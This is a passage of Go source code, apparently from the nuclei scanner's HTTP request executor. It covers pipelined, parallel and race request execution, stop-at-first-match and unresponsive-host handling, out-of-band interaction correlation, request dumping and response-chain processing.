{\n\t\t\tinput.MetaInput.Input = generatedHttpRequest.URL()\n\t\t}\n\t\tupdatedInput := contextargs.GetCopyIfHostOutdated(input, generatedHttpRequest.URL())\n\t\tif request.isUnresponsiveAddress(updatedInput) {\n\t\t\t// skip on unresponsive host no need to continue\n\t\t\tspmHandler.Cancel()\n\t\t\tclose(tasks)\n\t\t\tworkersWg.Wait()\n\t\t\treturn nil\n\t\t}\n\t\tselect {\n\t\tcase <-spmHandler.Done():\n\t\t\tclose(tasks)\n\t\t\tworkersWg.Wait()\n\t\t\tspmHandler.Wait()\n\t\t\tif spmHandler.FoundFirstMatch() {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn multierr.Combine(spmHandler.CombinedResults()...)\n\t\tcase tasks <- task{req: generatedHttpRequest, updatedInput: updatedInput, hasInteractMarkers: hasInteractMarkers}:\n\t\t}\n\t\trequest.options.Progress.IncrementRequests()\n\t}\n\tclose(tasks)\n\tworkersWg.Wait()\n\tspmHandler.Wait()\n\tif spmHandler.FoundFirstMatch() {\n\t\t// ignore any context cancellation and in-transit execution errors\n\t\treturn nil\n\t}\n\treturn multierr.Combine(spmHandler.CombinedResults()...)\n}\n\n// executeTurboHTTP executes turbo http request for a URL\nfunc (request *Request) executeTurboHTTP(input *contextargs.Context, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\tgenerator := request.newGenerator(false)\n\n\t// need to extract the target from the url\n\tURL, err := urlutil.Parse(input.MetaInput.Input)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tpipeOptions := rawhttp.DefaultPipelineOptions\n\tpipeOptions.Host = URL.Host\n\tpipeOptions.MaxConnections = 1\n\tif request.PipelineConcurrentConnections > 0 {\n\t\tpipeOptions.MaxConnections = request.PipelineConcurrentConnections\n\t}\n\tif request.PipelineRequestsPerConnection > 0 {\n\t\tpipeOptions.MaxPendingRequests = request.PipelineRequestsPerConnection\n\t}\n\tpipeClient := rawhttp.NewPipelineClient(pipeOptions)\n\n\t// defaultMaxWorkers should be a sufficient value to keep queues always full\n\t// in case the queue is bigger increase the workers\n\tmaxWorkers := max(pipeOptions.MaxPendingRequests, defaultMaxWorkers)\n\n\t// Stop-at-first-match logic while executing requests\n\t// parallelly using threads\n\tshouldStop := (request.options.Options.StopAtFirstMatch || request.StopAtFirstMatch || request.options.StopAtFirstMatch)\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\tspmHandler := httputils.NewBlockingSPMHandler[error](ctx, maxWorkers, maxErrorsWhenParallel, shouldStop)\n\tdefer spmHandler.Cancel()\n\n\t// wrappedCallback is a callback that wraps the original callback\n\t// to implement stop at first match logic\n\twrappedCallback := func(event *output.InternalWrappedEvent) {\n\t\tif !event.HasOperatorResult() {\n\t\t\tcallback(event) // not required but we can allow it\n\t\t\treturn\n\t\t}\n\t\t// this will execute match condition such that if stop at first match is enabled\n\t\t// this will be only executed once\n\t\tspmHandler.MatchCallback(func() {\n\t\t\tcallback(event)\n\t\t})\n\t\tif shouldStop {\n\t\t\t// stop all running requests and exit\n\t\t\tspmHandler.Trigger()\n\t\t}\n\t}\n\n\t// look for unresponsive hosts and cancel inflight requests as well\n\tspmHandler.SetOnResultCallback(func(err error) {\n\t\t// marks this host as unresponsive if applicable\n\t\trequest.markHostError(input, err)\n\t\tif request.isUnresponsiveAddress(input) {\n\t\t\t// stop all inflight requests\n\t\t\tspmHandler.Cancel()\n\t\t}\n\t})\n\n\tfor {\n\t\tinputData, payloads, ok := generator.nextValue()\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\n\t\tselect {\n\t\tcase <-input.Context().Done():\n\t\t\treturn input.Context().Err()\n\t\tdefault:\n\t\t}\n\n\t\tif spmHandler.FoundFirstMatch() || request.isUnresponsiveAddress(input) || spmHandler.Cancelled() {\n\t\t\t// skip if first match is found\n\t\t\tbreak\n\t\t}\n\n\t\tctx := request.newContext(input)\n\t\tgeneratedHttpRequest, err := generator.Make(ctx, input, inputData, payloads, dynamicValues)\n\t\tif err != nil {\n\t\t\trequest.options.Progress.IncrementFailedRequestsBy(int64(generator.Total()))\n\t\t\treturn err\n\t\t}\n\t\tif input.MetaInput.Input == \"\" {\n\t\t\tinput.MetaInput.Input = generatedHttpRequest.URL()\n\t\t}\n\t\tupdatedInput := contextargs.GetCopyIfHostOutdated(input, generatedHttpRequest.URL())\n\t\tif request.isUnresponsiveAddress(updatedInput) {\n\t\t\t// skip on unresponsive host no need to continue\n\t\t\tspmHandler.Cancel()\n\t\t\treturn nil\n\t\t}\n\t\tgeneratedHttpRequest.pipelinedClient = pipeClient\n\t\tspmHandler.Acquire()\n\t\tgo func(httpRequest *generatedRequest) {\n\t\t\tdefer spmHandler.Release()\n\t\t\tif spmHandler.FoundFirstMatch() || request.isUnresponsiveAddress(updatedInput) {\n\t\t\t\t// skip if first match is found\n\t\t\t\treturn\n\t\t\t}\n\t\t\tselect {\n\t\t\tcase <-spmHandler.Done():\n\t\t\t\treturn\n\t\t\tcase spmHandler.ResultChan <- request.executeRequest(input, httpRequest, previous, false, wrappedCallback, 0):\n\t\t\t\treturn\n\t\t\t}\n\t\t}(generatedHttpRequest)\n\t\trequest.options.Progress.IncrementRequests()\n\t}\n\tspmHandler.Wait()\n\tif spmHandler.FoundFirstMatch() {\n\t\t// ignore any context cancellation and in-transit execution errors\n\t\treturn nil\n\t}\n\treturn multierr.Combine(spmHandler.CombinedResults()...)\n}\n\n// ExecuteWithResults executes the final request on a URL\nfunc (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicValues, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\t// verify if pipeline was requested\n\tif request.Pipeline {\n\t\treturn request.executeTurboHTTP(input, dynamicValues, previous, callback)\n\t}\n\t// verify if a basic race condition was requested\n\tif request.Race && request.RaceNumberRequests > 0 {\n\t\treturn request.executeRaceRequest(input, dynamicValues, callback)\n\t}\n\n\t// verify if fuzz elaboration was requested\n\tif len(request.Fuzzing) > 0 {\n\t\treturn request.executeFuzzingRule(input, dynamicValues, callback)\n\t}\n\n\t// verify if parallel elaboration was requested\n\tif request.Threads > 0 && (len(request.Payloads) > 0 || request.Race) {\n\t\treturn request.executeParallelHTTP(input, dynamicValues, callback)\n\t}\n\n\tgenerator := request.newGenerator(false)\n\n\tvar gotDynamicValues map[string][]string\n\tvar requestErr error\n\n\tfor {\n\t\t// returns two values, error and skip, which skips the execution for the request instance.\n\t\texecuteFunc := func(data string, payloads, dynamicValue map[string]interface{}) (bool, error) {\n\t\t\thasInteractMatchers := interactsh.HasMatchers(request.CompiledOperators)\n\n\t\t\trequest.options.RateLimitTake()\n\n\t\t\tctx := request.newContext(input)\n\t\t\tctxWithTimeout, cancel := context.WithTimeoutCause(ctx, request.options.Options.GetTimeouts().HttpTimeout, ErrHttpEngineRequestDeadline)\n\t\t\tdefer cancel()\n\n\t\t\tgeneratedHttpRequest, err := generator.Make(ctxWithTimeout, input, data, payloads, dynamicValue)\n\t\t\tif err != nil {\n\t\t\t\tif err == types.ErrNoMoreRequests {\n\t\t\t\t\treturn true, nil\n\t\t\t\t}\n\t\t\t\treturn true, err\n\t\t\t}\n\t\t\t// ideally if http template used a custom port or hostname\n\t\t\t// we would want to update it in input but currently templateCtx logic\n\t\t\t// is closely tied to contextargs.Context so we are temporarily creating\n\t\t\t// a copy and using it to check for host errors etc\n\t\t\t// but this should be replaced once templateCtx is refactored properly\n\t\t\tupdatedInput := contextargs.GetCopyIfHostOutdated(input, generatedHttpRequest.URL())\n\n\t\t\tif generatedHttpRequest.customCancelFunction != nil {\n\t\t\t\tdefer generatedHttpRequest.customCancelFunction()\n\t\t\t}\n\n\t\t\thasInteractMarkers := interactsh.HasMarkers(data) || len(generatedHttpRequest.interactshURLs) > 0\n\t\t\tif input.MetaInput.Input == \"\" {\n\t\t\t\tinput.MetaInput.Input = generatedHttpRequest.URL()\n\t\t\t}\n\t\t\t// Check if hosts keep erroring\n\t\t\tif request.isUnresponsiveAddress(updatedInput) {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t\tvar gotMatches bool\n\t\t\texecReqErr := request.executeRequest(input, generatedHttpRequest, previous, hasInteractMatchers, func(event *output.InternalWrappedEvent) {\n\t\t\t\t// a special case where operators has interactsh matchers and multiple request are made\n\t\t\t\t// ex: status_code_2 , interactsh_protocol (from 1st request) etc\n\t\t\t\tneedsRequestEvent := interactsh.HasMatchers(request.CompiledOperators) && request.NeedsRequestCondition()\n\t\t\t\tif (hasInteractMarkers || needsRequestEvent) && request.options.Interactsh != nil {\n\t\t\t\t\trequestData := &interactsh.RequestData{\n\t\t\t\t\t\tMakeResultFunc: request.MakeResultEvent,\n\t\t\t\t\t\tEvent:          event,\n\t\t\t\t\t\tOperators:      request.CompiledOperators,\n\t\t\t\t\t\tMatchFunc:      request.Match,\n\t\t\t\t\t\tExtractFunc:    request.Extract,\n\t\t\t\t\t}\n\t\t\t\t\tallOASTUrls := httputils.GetInteractshURLSFromEvent(event.InternalEvent)\n\t\t\t\t\tallOASTUrls = append(allOASTUrls, generatedHttpRequest.interactshURLs...)\n\t\t\t\t\trequest.options.Interactsh.RequestEvent(sliceutil.Dedupe(allOASTUrls), requestData)\n\t\t\t\t\tgotMatches = request.options.Interactsh.AlreadyMatched(requestData)\n\t\t\t\t}\n\t\t\t\t// Add the extracts to the dynamic values if any.\n\t\t\t\tif event.OperatorsResult != nil {\n\t\t\t\t\tgotMatches = event.OperatorsResult.Matched\n\t\t\t\t\tgotDynamicValues = generators.MergeMapsMany(event.OperatorsResult.DynamicValues, dynamicValues, gotDynamicValues)\n\t\t\t\t}\n\t\t\t\t// Note: This is a race condition prone zone i.e when request has interactsh_matchers\n\t\t\t\t// Interactsh.RequestEvent tries to access/update output.InternalWrappedEvent depending on logic\n\t\t\t\t// to avoid conflicts with `callback` mutex is used here and in Interactsh.RequestEvent\n\t\t\t\t// Note: this only happens if requests > 1 and interactsh matcher is used\n\t\t\t\t// TODO: interactsh logic in nuclei needs to be refactored to avoid such situations\n\t\t\t\tcallback(event)\n\t\t\t}, generator.currentIndex)\n\n\t\t\t// If a variable is unresolved, skip all further requests\n\t\t\tif errors.Is(execReqErr, ErrMissingVars) {\n\t\t\t\treturn true, nil\n\t\t\t}\n\n\t\t\tif execReqErr != nil {\n\t\t\t\trequest.markHostError(updatedInput, execReqErr)\n\n\t\t\t\t// if applicable mark the host as unresponsive\n\t\t\t\treqKitErr := errkit.FromError(execReqErr)\n\t\t\t\treqKitErr.Msgf(\"got err while executing %v\", generatedHttpRequest.URL())\n\n\t\t\t\trequestErr = reqKitErr\n\t\t\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\t\t} else {\n\t\t\t\trequest.options.Progress.IncrementRequests()\n\t\t\t}\n\n\t\t\t// If this was a match, and we want to stop at first match, skip all further requests.\n\t\t\tshouldStopAtFirstMatch := generatedHttpRequest.original.options.Options.StopAtFirstMatch || generatedHttpRequest.original.options.StopAtFirstMatch || request.StopAtFirstMatch\n\t\t\tif shouldStopAtFirstMatch && gotMatches {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t\treturn false, nil\n\t\t}\n\n\t\tinputData, payloads, ok := generator.nextValue()\n\t\tif !ok {\n\t\t\tbreak\n\t\t}\n\n\t\tselect {\n\t\tcase <-input.Context().Done():\n\t\t\treturn input.Context().Err()\n\t\tdefault:\n\t\t}\n\n\t\tvar gotErr error\n\t\tvar skip bool\n\t\tif len(gotDynamicValues) > 0 {\n\t\t\toperators.MakeDynamicValuesCallback(gotDynamicValues, request.IterateAll, func(data map[string]interface{}) bool {\n\t\t\t\tif skip, gotErr = executeFunc(inputData, payloads, data); skip || gotErr != nil {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t\treturn false\n\t\t\t})\n\t\t} else {\n\t\t\tskip, gotErr = executeFunc(inputData, payloads, dynamicValues)\n\t\t}\n\t\tif gotErr != nil && requestErr == nil {\n\t\t\trequestErr = gotErr\n\t\t}\n\t\tif skip || gotErr != nil {\n\t\t\trequest.options.Progress.SetRequests(uint64(generator.Remaining() + 1))\n\t\t\tbreak\n\t\t}\n\t}\n\treturn requestErr\n}\n\nconst drainReqSize = int64(8 * unitutils.Kilo)\n\n// executeRequest executes the actual generated request and returns error if occurred\nfunc (request *Request) executeRequest(input *contextargs.Context, generatedRequest *generatedRequest, previousEvent output.InternalEvent, hasInteractMatchers bool, processEvent protocols.OutputEventCallback, requestCount int) (err error) {\n\t// Check if hosts keep erroring\n\tif request.isUnresponsiveAddress(input) {\n\t\treturn fmt.Errorf(\"hostErrorsCache : host %s is unresponsive\", input.MetaInput.Input)\n\t}\n\n\t// wrap one more callback for validation and fixing event\n\tcallback := func(event *output.InternalWrappedEvent) {\n\t\t// validateNFixEvent performs necessary validation on generated event\n\t\t// and attempts to fix it , this includes things like making sure\n\t\t// `template-id` is set , `request-url-pattern` is set etc\n\t\trequest.validateNFixEvent(input, generatedRequest, err, event)\n\t\tprocessEvent(event)\n\t}\n\n\trequest.setCustomHeaders(generatedRequest)\n\n\t// Try to evaluate any payloads before replacement\n\tfinalMap := generators.MergeMaps(generatedRequest.dynamicValues, generatedRequest.meta)\n\n\t// add known variables from metainput\n\tif _, ok := finalMap[\"ip\"]; !ok && input.MetaInput.CustomIP != \"\" {\n\t\tfinalMap[\"ip\"] = input.MetaInput.CustomIP\n\t}\n\n\tfor payloadName, payloadValue := range generatedRequest.meta {\n\t\tif data, err := expressions.Evaluate(types.ToString(payloadValue), finalMap); err == nil {\n\t\t\tgeneratedRequest.meta[payloadName] = data\n\t\t}\n\t}\n\n\tvar (\n\t\tresp            *http.Response\n\t\tfromCache       bool\n\t\tdumpedRequest   []byte\n\t\tprojectCacheKey []byte\n\t)\n\n\t// Dump request for variables checks\n\t// For race conditions we can't dump the request body at this point as it's already waiting the open-gate event, already handled with a similar code within the race function\n\tif !generatedRequest.original.Race {\n\n\t\t// change encoding type to content-length unless transfer-encoding header is manually set\n\t\tif generatedRequest.request != nil && !stringsutil.EqualFoldAny(generatedRequest.request.Method, http.MethodGet, http.MethodHead) && generatedRequest.request.Body != nil && generatedRequest.request.Header.Get(\"Transfer-Encoding\") != \"chunked\" {\n\t\t\tvar newReqBody *reader.ReusableReadCloser\n\t\t\tnewReqBody, ok := generatedRequest.request.Body.(*reader.ReusableReadCloser)\n\t\t\tif !ok {\n\t\t\t\tnewReqBody, err = reader.NewReusableReadCloser(generatedRequest.request.Body)\n\t\t\t}\n\t\t\tif err == nil {\n\t\t\t\t// update the request body with the reusable reader\n\t\t\t\tgeneratedRequest.request.SetBodyReader(newReqBody)\n\t\t\t\t// get content length\n\t\t\t\tlength, _ := io.Copy(io.Discard, newReqBody)\n\t\t\t\tgeneratedRequest.request.ContentLength = length\n\t\t\t} else {\n\t\t\t\t// log error and continue\n\t\t\t\tgologger.Verbose().Msgf(\"[%v] Could not read request body while forcing transfer encoding: %s\\n\", request.options.TemplateID, err)\n\t\t\t\terr = nil\n\t\t\t}\n\t\t}\n\n\t\t// do the same for unsafe requests\n\t\tif generatedRequest.rawRequest != nil && !stringsutil.EqualFoldAny(generatedRequest.rawRequest.Method, http.MethodGet, http.MethodHead) && generatedRequest.rawRequest.Data != \"\" && generatedRequest.rawRequest.Headers[\"Transfer-Encoding\"] != \"chunked\" {\n\t\t\tgeneratedRequest.rawRequest.Headers[\"Content-Length\"] = strconv.Itoa(len(generatedRequest.rawRequest.Data))\n\t\t}\n\n\t\tvar dumpError error\n\t\t// TODO: dump is currently not working with post-processors - somehow it alters the signature\n\t\tdumpedRequest, dumpError = dump(generatedRequest, input.MetaInput.Input)\n\t\tif dumpError != nil {\n\t\t\treturn dumpError\n\t\t}\n\t\tif generatedRequest.request != nil && generatedRequest.request.URL != nil {\n\t\t\tprojectCacheKey = getHTTPProjectCacheScope(dumpedRequest, generatedRequest.request.Scheme, generatedRequest.request.URL.Host)\n\t\t} else {\n\t\t\tprojectCacheKey = dumpedRequest\n\t\t}\n\t\tdumpedRequestString := string(dumpedRequest)\n\n\t\tif ignoreList := GetVariablesNamesSkipList(generatedRequest.original.Signature.Value); ignoreList != nil {\n\t\t\tif varErr := expressions.ContainsVariablesWithIgnoreList(ignoreList, dumpedRequestString); varErr != nil && !request.SkipVariablesCheck {\n\t\t\t\tgologger.Warning().Msgf(\"[%s] Could not make http request for %s: %v\\n\", request.options.TemplateID, input.MetaInput.Input, varErr)\n\t\t\t\treturn ErrMissingVars\n\t\t\t}\n\t\t} else { // Check if are there any unresolved variables. If yes, skip unless overridden by user.\n\t\t\tif varErr := expressions.ContainsUnresolvedVariables(dumpedRequestString); varErr != nil && !request.SkipVariablesCheck {\n\t\t\t\tgologger.Warning().Msgf(\"[%s] Could not make http request for %s: %v\\n\", request.options.TemplateID, input.MetaInput.Input, varErr)\n\t\t\t\treturn ErrMissingVars\n\t\t\t}\n\t\t}\n\t}\n\n\t// === apply auth strategies ===\n\tif generatedRequest.request != nil && !request.SkipSecretFile {\n\t\tgeneratedRequest.ApplyAuth(request.options.AuthProvider)\n\t}\n\n\tvar formedURL string\n\tvar hostname string\n\ttimeStart := time.Now()\n\tif generatedRequest.original.Pipeline {\n\t\t// if request is a pipeline request, use the pipelined client\n\t\tif generatedRequest.rawRequest != nil {\n\t\t\tformedURL = generatedRequest.rawRequest.FullURL\n\t\t\tif parsed, parseErr := urlutil.ParseURL(formedURL, true); parseErr == nil {\n\t\t\t\thostname = parsed.Host\n\t\t\t}\n\t\t\tresp, err = generatedRequest.pipelinedClient.DoRaw(generatedRequest.rawRequest.Method, input.MetaInput.Input, generatedRequest.rawRequest.Path, generators.ExpandMapValues(generatedRequest.rawRequest.Headers), io.NopCloser(strings.NewReader(generatedRequest.rawRequest.Data)))\n\t\t} else if generatedRequest.request != nil {\n\t\t\tresp, err = generatedRequest.pipelinedClient.Dor(generatedRequest.request)\n\t\t}\n\t} else if generatedRequest.original.Unsafe && generatedRequest.rawRequest != nil {\n\t\t// if request is a unsafe request, use the rawhttp client\n\t\tformedURL = generatedRequest.rawRequest.FullURL\n\t\t// use request url as matched url if empty\n\t\tif formedURL == \"\" {\n\t\t\turlx, err := urlutil.Parse(input.MetaInput.Input)\n\t\t\tif err != nil {\n\t\t\t\tformedURL = fmt.Sprintf(\"%s%s\", input.MetaInput.Input, generatedRequest.rawRequest.Path)\n\t\t\t} else {\n\t\t\t\t_ = urlx.MergePath(generatedRequest.rawRequest.Path, true)\n\t\t\t\tformedURL = urlx.String()\n\t\t\t}\n\t\t}\n\t\tif parsed, parseErr := urlutil.ParseURL(formedURL, true); parseErr == nil {\n\t\t\thostname = parsed.Host\n\t\t}\n\t\toptions := *generatedRequest.original.rawhttpClient.Options\n\t\toptions.FollowRedirects = request.Redirects\n\t\toptions.CustomRawBytes = generatedRequest.rawRequest.UnsafeRawBytes\n\t\toptions.ForceReadAllBody = request.ForceReadAllBody\n\t\toptions.SNI = request.options.Options.SNI\n\t\tinputUrl := input.MetaInput.Input\n\t\tif generatedRequest.rawRequest.FullURL != \"\" {\n\t\t\tinputUrl = generatedRequest.rawRequest.FullURL\n\t\t}\n\t\tif url, err := urlutil.ParseURL(inputUrl, false); err == nil {\n\t\t\turl.Path = \"\"\n\t\t\turl.Params = urlutil.NewOrderedParams() // donot include query params\n\t\t\t// inputUrl should only contain scheme://host:port\n\t\t\tinputUrl = url.String()\n\t\t}\n\t\tformedURL = fmt.Sprintf(\"%s%s\", inputUrl, generatedRequest.rawRequest.Path)\n\n\t\t// send rawhttp request and get response\n\t\tresp, err = httpclientpool.SendRawRequest(generatedRequest.original.rawhttpClient, &httpclientpool.RawHttpRequestOpts{\n\t\t\tMethod:  generatedRequest.rawRequest.Method,\n\t\t\tURL:     inputUrl,\n\t\t\tPath:    generatedRequest.rawRequest.Path,\n\t\t\tHeaders: generators.ExpandMapValues(generatedRequest.rawRequest.Headers),\n\t\t\tBody:    io.NopCloser(strings.NewReader(generatedRequest.rawRequest.Data)),\n\t\t\tOptions: &options,\n\t\t})\n\t} else {\n\t\t//** For Normal requests **//\n\t\thostname = generatedRequest.request.Host\n\t\tformedURL = generatedRequest.request.String()\n\t\t// if nuclei-project is available check if the request was already sent previously\n\t\tif request.options.ProjectFile != nil {\n\t\t\t// if unavailable fail silently\n\t\t\tfromCache = true\n\t\t\tresp, err = request.options.ProjectFile.Get(projectCacheKey)\n\t\t\tif err != nil {\n\t\t\t\tfromCache = false\n\t\t\t}\n\t\t}\n\t\tif resp == nil {\n\t\t\tif errSignature := request.handleSignature(generatedRequest); errSignature != nil {\n\t\t\t\treturn errSignature\n\t\t\t}\n\t\t\thttpclient := request.httpClient\n\n\t\t\t// this will be assigned/updated if this specific request has a custom configuration\n\t\t\tvar modifiedConfig *httpclientpool.Configuration\n\n\t\t\t// check for cookie related configuration\n\t\t\tif input.CookieJar != nil {\n\t\t\t\tconnConfiguration := request.connConfiguration.Clone()\n\t\t\t\tconnConfiguration.Connection.SetCookieJar(input.CookieJar)\n\t\t\t\tmodifiedConfig = connConfiguration\n\t\t\t}\n\t\t\t// check for request updatedTimeout annotation\n\t\t\tupdatedTimeout, ok := generatedRequest.request.Context().Value(httpclientpool.WithCustomTimeout{}).(httpclientpool.WithCustomTimeout)\n\t\t\tif ok {\n\t\t\t\tif modifiedConfig == nil {\n\t\t\t\t\tconnConfiguration := request.connConfiguration.Clone()\n\t\t\t\t\tmodifiedConfig = connConfiguration\n\t\t\t\t}\n\n\t\t\t\tmodifiedConfig.ResponseHeaderTimeout = updatedTimeout.Timeout\n\t\t\t}\n\n\t\t\tif modifiedConfig != nil {\n\t\t\t\tclient, err := httpclientpool.Get(request.options.Options, modifiedConfig)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"could not get http client\")\n\t\t\t\t}\n\t\t\t\thttpclient = client\n\t\t\t}\n\n\t\t\tresp, err = httpclient.Do(generatedRequest.request)\n\t\t}\n\t}\n\t// use request url as matched url if empty\n\tif formedURL == \"\" {\n\t\tformedURL = input.MetaInput.Input\n\t}\n\n\t// converts whitespace and other chars that cannot be printed to url encoded values\n\tformedURL = urlutil.URLEncodeWithEscapes(formedURL)\n\n\t// Dump the requests containing all headers\n\tif !generatedRequest.original.Race {\n\t\tvar dumpError error\n\t\tdumpedRequest, dumpError = dump(generatedRequest, input.MetaInput.Input)\n\t\tif dumpError != nil {\n\t\t\treturn dumpError\n\t\t}\n\t\tdumpedRequestString := string(dumpedRequest)\n\t\tif request.options.Options.Debug || request.options.Options.DebugRequests || request.options.Options.StoreResponse {\n\t\t\tmsg := fmt.Sprintf(\"[%s] Dumped HTTP request for %s\\n\\n\", request.options.TemplateID, formedURL)\n\n\t\t\tif request.options.Options.Debug || request.options.Options.DebugRequests {\n\t\t\t\tgologger.Info().Msg(msg)\n\t\t\t\tgologger.Print().Msgf(\"%s\", dumpedRequestString)\n\t\t\t}\n\t\t\tif request.options.Options.StoreResponse {\n\t\t\t\trequest.options.Output.WriteStoreDebugData(input.MetaInput.Input, request.options.TemplateID, request.Type().String(), fmt.Sprintf(\"%s\\n%s\", msg, dumpedRequestString))\n\t\t\t}\n\t\t}\n\t}\n\n\tdialers := protocolstate.GetDialersWithId(request.options.Options.ExecutionId)\n\tif dialers == nil {\n\t\treturn fmt.Errorf(\"dialers not found for execution id %s\", request.options.Options.ExecutionId)\n\t}\n\n\tif err != nil {\n\t\t// rawhttp doesn't support draining response bodies.\n\t\tif resp != nil && resp.Body != nil && generatedRequest.rawRequest == nil && !generatedRequest.original.Pipeline {\n\t\t\t_, _ = io.CopyN(io.Discard, resp.Body, drainReqSize)\n\t\t\t_ = resp.Body.Close()\n\t\t}\n\t\trequest.options.Output.Request(request.options.TemplatePath, formedURL, request.Type().String(), err)\n\t\trequest.options.Progress.IncrementErrorsBy(1)\n\n\t\t// In case of interactsh markers and request times out, still send\n\t\t// a callback event so in case we receive an interaction, correlation is possible.\n\t\t// Also, to log failed use-cases.\n\t\toutputEvent := request.responseToDSLMap(&http.Response{}, input.MetaInput.Input, formedURL, convUtil.String(dumpedRequest), \"\", \"\", \"\", 0, generatedRequest.meta)\n\t\tif i := strings.LastIndex(hostname, \":\"); i != -1 {\n\t\t\thostname = hostname[:i]\n\t\t}\n\n\t\tif input.MetaInput.CustomIP != \"\" {\n\t\t\toutputEvent[\"ip\"] = input.MetaInput.CustomIP\n\t\t} else {\n\t\t\toutputEvent[\"ip\"] = dialers.Fastdialer.GetDialedIP(hostname)\n\t\t\t// try getting cname\n\t\t\trequest.addCNameIfAvailable(hostname, outputEvent)\n\t\t}\n\n\t\tif len(generatedRequest.interactshURLs) > 0 {\n\t\t\t// according to logic we only need to trigger a callback if interactsh was used\n\t\t\t// and request failed in hope that later on oast interaction will be received\n\t\t\tevent := &output.InternalWrappedEvent{}\n\t\t\tif request.CompiledOperators != nil && request.CompiledOperators.HasDSL() {\n\t\t\t\tevent.InternalEvent = outputEvent\n\t\t\t}\n\t\t\tcallback(event)\n\t\t}\n\t\treturn err\n\t}\n\n\tvar curlCommand string\n\tif !request.Unsafe && resp != nil && generatedRequest.request != nil && resp.Request != nil && !request.Race {\n\t\tbodyBytes, _ := generatedRequest.request.BodyBytes()\n\t\t// Use a clone to avoid a race condition with the http transport\n\t\treq := resp.Request.Clone(resp.Request.Context())\n\t\treq.Body = io.NopCloser(bytes.NewReader(bodyBytes))\n\t\tcommand, err := http2curl.GetCurlCommand(req)\n\t\tif err == nil && command != nil {\n\t\t\tcurlCommand = command.String()\n\t\t}\n\t}\n\n\tgologger.Verbose().Msgf(\"[%s] Sent HTTP request to %s\", request.options.TemplateID, formedURL)\n\trequest.options.Output.Request(request.options.TemplatePath, formedURL, request.Type().String(), err)\n\n\tduration := time.Since(timeStart)\n\n\t// define max body read limit\n\tmaxBodylimit := MaxBodyRead // 10MB\n\tif request.MaxSize > 0 {\n\t\tmaxBodylimit = request.MaxSize\n\t}\n\tif request.options.Options.ResponseReadSize != 0 {\n\t\tmaxBodylimit = request.options.Options.ResponseReadSize\n\t}\n\n\t// respChain is http response chain that reads response body\n\t// efficiently by reusing buffers and does all decoding and optimizations\n\trespChain := httpUtils.NewResponseChain(resp, int64(maxBodylimit))\n\tdefer respChain.Close() // reuse buffers\n\n\t// we only intend to log/save the final redirected response\n\t// i.e why we have to use sync.Once to ensure it's only done once\n\tvar errx error\n\tonceFunc := sync.OnceFunc(func() {\n\t\t// if nuclei-project is enabled store the response if not previously done\n\t\tif request.options.ProjectFile != nil && !fromCache {\n\t\t\tif err := request.options.ProjectFile.Set(projectCacheKey, resp, respChain.BodyBytes()); err != nil {\n\t\t\t\terrx = errors.Wrap(err, \"could not store in project file\")\n\t\t\t}\n\t\t}\n\t})\n\n\t// evaluate responses continuously until first redirect request in reverse order\n\tfor respChain.Has() {\n\t\t// fill buffers, read response body and reuse connection\n\t\tif err := respChain.Fill(); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not generate response chain\")\n\t\t}\n\n\t\t// Cache response strings once per Fill() to avoid repeated allocs.\n\t\t// NOTE(dwisiswant0): These are valid until Previous() (which reloads\n\t\t// the buffer).\n\t\tfullResponseStr := respChain.FullResponseString()\n\t\tbodyStr := respChain.BodyString()\n\t\theadersStr := respChain.HeadersString()\n\n\t\t// log request stats\n\t\trequest.options.Output.RequestStatsLog(strconv.Itoa(respChain.Response().StatusCode), fullResponseStr)\n\n\t\t// save response to projectfile\n\t\tonceFunc()\n\t\tmatchedURL := input.MetaInput.Input\n\t\tif generatedRequest.rawRequest != nil {\n\t\t\tif generatedRequest.rawRequest.FullURL != \"\" {\n\t\t\t\tmatchedURL = generatedRequest.rawRequest.FullURL\n\t\t\t} else {\n\t\t\t\tmatchedURL = formedURL\n\t\t\t}\n\t\t}\n\t\tif generatedRequest.request != nil {\n\t\t\tmatchedURL = generatedRequest.request.String()\n\t\t}\n\t\t// Give precedence to the final URL from response\n\t\tif respChain.Request() != nil {\n\t\t\tif responseURL := respChain.Request().URL.String(); responseURL != \"\" {\n\t\t\t\tmatchedURL = responseURL\n\t\t\t}\n\t\t}\n\n\t\tfinalEvent := make(output.InternalEvent)\n\n\t\tif request.Analyzer != nil {\n\t\t\tanalyzer := analyzers.GetAnalyzer(request.Analyzer.Name)\n\t\t\tanalysisMatched, analysisDetails, err := analyzer.Analyze(&analyzers.Options{\n\t\t\t\tFuzzGenerated:      generatedRequest.fuzzGeneratedRequest,\n\t\t\t\tHttpClient:         request.httpClient,\n\t\t\t\tResponseTimeDelay:  duration,\n\t\t\t\tAnalyzerParameters: request.Analyzer.Parameters,\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tgologger.Warning().Msgf(\"Could not analyze response: %v\\n\", err)\n\t\t\t}\n\t\t\tif analysisMatched {\n\t\t\t\tfinalEvent[\"analyzer_details\"] = analysisDetails\n\t\t\t\tfinalEvent[\"analyzer\"] = true\n\t\t\t}\n\t\t}\n\n\t\toutputEvent := request.responseToDSLMap(respChain.Response(), input.MetaInput.Input, matchedURL, convUtil.String(dumpedRequest), fullResponseStr, bodyStr, headersStr, duration, generatedRequest.meta)\n\t\t// add response fields to template context and merge templatectx variables to output event\n\t\trequest.options.AddTemplateVars(input.MetaInput, request.Type(), request.ID, outputEvent)\n\t\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\t\toutputEvent = generators.MergeMaps(outputEvent, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t\t}\n\t\tif i := strings.LastIndex(hostname, \":\"); i != -1 {\n\t\t\thostname = hostname[:i]\n\t\t}\n\t\toutputEvent[\"curl-command\"] = curlCommand\n\t\tif input.MetaInput.CustomIP != \"\" {\n\t\t\toutputEvent[\"ip\"] = 